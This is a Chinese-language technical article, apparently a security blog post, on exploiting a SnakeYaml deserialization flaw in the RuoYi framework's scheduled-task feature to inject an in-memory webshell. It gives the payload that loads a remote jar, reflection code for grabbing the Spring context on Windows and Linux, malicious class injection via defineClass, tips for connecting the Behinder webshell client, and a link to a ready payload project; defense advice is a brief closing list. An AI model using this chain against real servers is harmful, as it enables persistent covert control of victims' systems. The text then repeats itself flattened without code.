RuoYi 可用内存马
字数 1370 2025-08-25 22:59:10

RuoYi框架中利用SnakeYaml反序列化漏洞注入内存马技术分析

1. 漏洞背景与概述

RuoYi框架在"系统监控 > 定时任务"功能中存在SnakeYaml反序列化漏洞,攻击者可以利用该漏洞注入内存马,实现持久化控制。本文详细分析漏洞原理、利用方法及各种环境下的适配问题。

2. 漏洞分析

2.1 漏洞触发点

漏洞位于com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod方法中:

public static void invokeMethod(SysJob sysJob) throws Exception {
    String invokeTarget = sysJob.getInvokeTarget();
    String beanName = getBeanName(invokeTarget);
    String methodName = getMethodName(invokeTarget);
    List<Object[]> methodParams = getMethodParams(invokeTarget);
    
    if (!isValidClassName(beanName)) {
        Object bean = SpringUtils.getBean(beanName);
        invokeMethod(bean, methodName, methodParams);
    } else {
        Object bean = Class.forName(beanName).newInstance();
        invokeMethod(bean, methodName, methodParams);
    }
}

2.2 利用条件

当传入完全限定类名时,需要满足以下条件:

  1. 类必须具有无参构造方法
  2. 调用的方法必须是类自身声明的方法,不能是父类方法
  3. 构造方法和调用的方法均为public

org.yaml.snakeyaml.Yaml类符合这些条件,可利用其触发反序列化漏洞。

3. 漏洞利用Payload

基本利用Payload格式:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')

4. 内存马注入技术演进

4.1 第一代内存马

问题:由于定时任务触发点与Web服务不在同一线程,直接获取上下文环境会失败。

解决方案:通过反射获取LiveBeansView类的applicationContexts属性获取上下文:

// 获取ApplicationContext
Field filed = Class.forName("org.springframework.context.support.LiveBeansView")
                  .getDeclaredField("applicationContexts");
filed.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)((LinkedHashSet)filed.get(null)).iterator().next();

// 注入Interceptor内存马
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);

4.2 第二代内存马

问题:在Linux环境下LiveBeansViewapplicationContexts属性为空。

解决方案1:通过RuoYi的SpringUtils类获取上下文:

Field f = Thread.currentThread().getContextClassLoader()
               .loadClass("com.ruoyi.common.utils.spring.SpringUtils")
               .getDeclaredField("applicationContext");
f.setAccessible(true);
WebApplicationContext context = (WebApplicationContext)f.get(null);

解决方案2:通过线程上下文获取:

Field field = Thread.currentThread().getClass().getDeclaredField("runnable");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("qs");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
Map m = (Map)obj;
WebApplicationContext context = (WebApplicationContext)m.get("applicationContextKey");

4.3 类加载器问题

问题:以fat jar运行时使用LaunchedURLClassLoader,而Yaml使用URLClassLoader加载类,导致找不到Spring相关类。

解决方案:使用LaunchedURLClassLoader加载恶意类:

ClassLoader classLoader = (ClassLoader)Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", 
    new Class[]{byte[].class, int.class, int.class});
defineClass.setAccessible(true);
byte[] bytes = XXXXXX; // 恶意类字节码
return (Class<HttpServlet>)defineClass.invoke(classLoader, 
    new Object[]{bytes, 0, bytes.length});

5. 环境差异与解决方案

5.1 Windows与Linux差异

  1. Windows环境下LiveBeansViewapplicationContexts属性包含所需上下文
  2. Linux环境下mbeanDomain为null,导致上下文未注册到LiveBeansView

5.2 打包问题

正确方式:使用Maven打包,确保符合SPI机制
错误方式:通过IDE的Project Structure > Artifacts打包,会导致依赖结构错误

6. 冰蝎集成注意事项

  1. 在未登录状态下会跳转到登录页面,解决方法:

    • 带上cookie使用冰蝎
    • 直接在登录页面触发:/login?cmd=1
  2. 前后端分离版本传参问题:

    • 后端直接传值
    • 前端使用API:http://localhost/dev-api/?cmd=whoami
  3. 前后端分离版本中冰蝎可能报错,原因待查

7. 关键问题总结

  1. 定时任务触发点与Web服务线程隔离问题
  2. Windows与Linux环境差异导致的上下文获取失败
  3. Fat jar运行时的类加载器问题
  4. 前后端分离版本的特殊处理

8. 项目资源

可用jar包及构造项目地址:
https://github.com/lz2y/yaml-payload-for-ruoyi

9. 防御建议

  1. 升级SnakeYaml到安全版本
  2. 对定时任务的功能进行严格的权限控制
  3. 限制可执行的类和方法范围
  4. 实施输入验证和过滤
RuoYi框架中利用SnakeYaml反序列化漏洞注入内存马技术分析 1. 漏洞背景与概述 RuoYi框架在"系统监控 > 定时任务"功能中存在SnakeYaml反序列化漏洞,攻击者可以利用该漏洞注入内存马,实现持久化控制。本文详细分析漏洞原理、利用方法及各种环境下的适配问题。 2. 漏洞分析 2.1 漏洞触发点 漏洞位于 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法中: 2.2 利用条件 当传入完全限定类名时,需要满足以下条件: 类必须具有无参构造方法 调用的方法必须是类自身声明的方法,不能是父类方法 构造方法和调用的方法均为public org.yaml.snakeyaml.Yaml 类符合这些条件,可利用其触发反序列化漏洞。 3. 漏洞利用Payload 基本利用Payload格式: 4. 内存马注入技术演进 4.1 第一代内存马 问题 :由于定时任务触发点与Web服务不在同一线程,直接获取上下文环境会失败。 解决方案 :通过反射获取 LiveBeansView 类的 applicationContexts 属性获取上下文: 4.2 第二代内存马 问题 :在Linux环境下 LiveBeansView 的 applicationContexts 属性为空。 解决方案1 :通过RuoYi的 SpringUtils 类获取上下文: 解决方案2 :通过线程上下文获取: 4.3 类加载器问题 问题 :以fat jar运行时使用 LaunchedURLClassLoader ,而Yaml使用 URLClassLoader 加载类,导致找不到Spring相关类。 解决方案 :使用 LaunchedURLClassLoader 加载恶意类: 5. 环境差异与解决方案 5.1 Windows与Linux差异 Windows环境下 LiveBeansView 的 applicationContexts 属性包含所需上下文 Linux环境下 mbeanDomain 为null,导致上下文未注册到 LiveBeansView 5.2 打包问题 正确方式 :使用Maven打包,确保符合SPI机制 错误方式 :通过IDE的Project Structure > Artifacts打包,会导致依赖结构错误 6. 冰蝎集成注意事项 在未登录状态下会跳转到登录页面,解决方法: 带上cookie使用冰蝎 直接在登录页面触发: /login?cmd=1 前后端分离版本传参问题: 后端直接传值 前端使用API: http://localhost/dev-api/?cmd=whoami 前后端分离版本中冰蝎可能报错,原因待查 7. 关键问题总结 定时任务触发点与Web服务线程隔离问题 Windows与Linux环境差异导致的上下文获取失败 Fat jar运行时的类加载器问题 前后端分离版本的特殊处理 8. 项目资源 可用jar包及构造项目地址: https://github.com/lz2y/yaml-payload-for-ruoyi 9. 防御建议 升级SnakeYaml到安全版本 对定时任务的功能进行严格的权限控制 限制可执行的类和方法范围 实施输入验证和过滤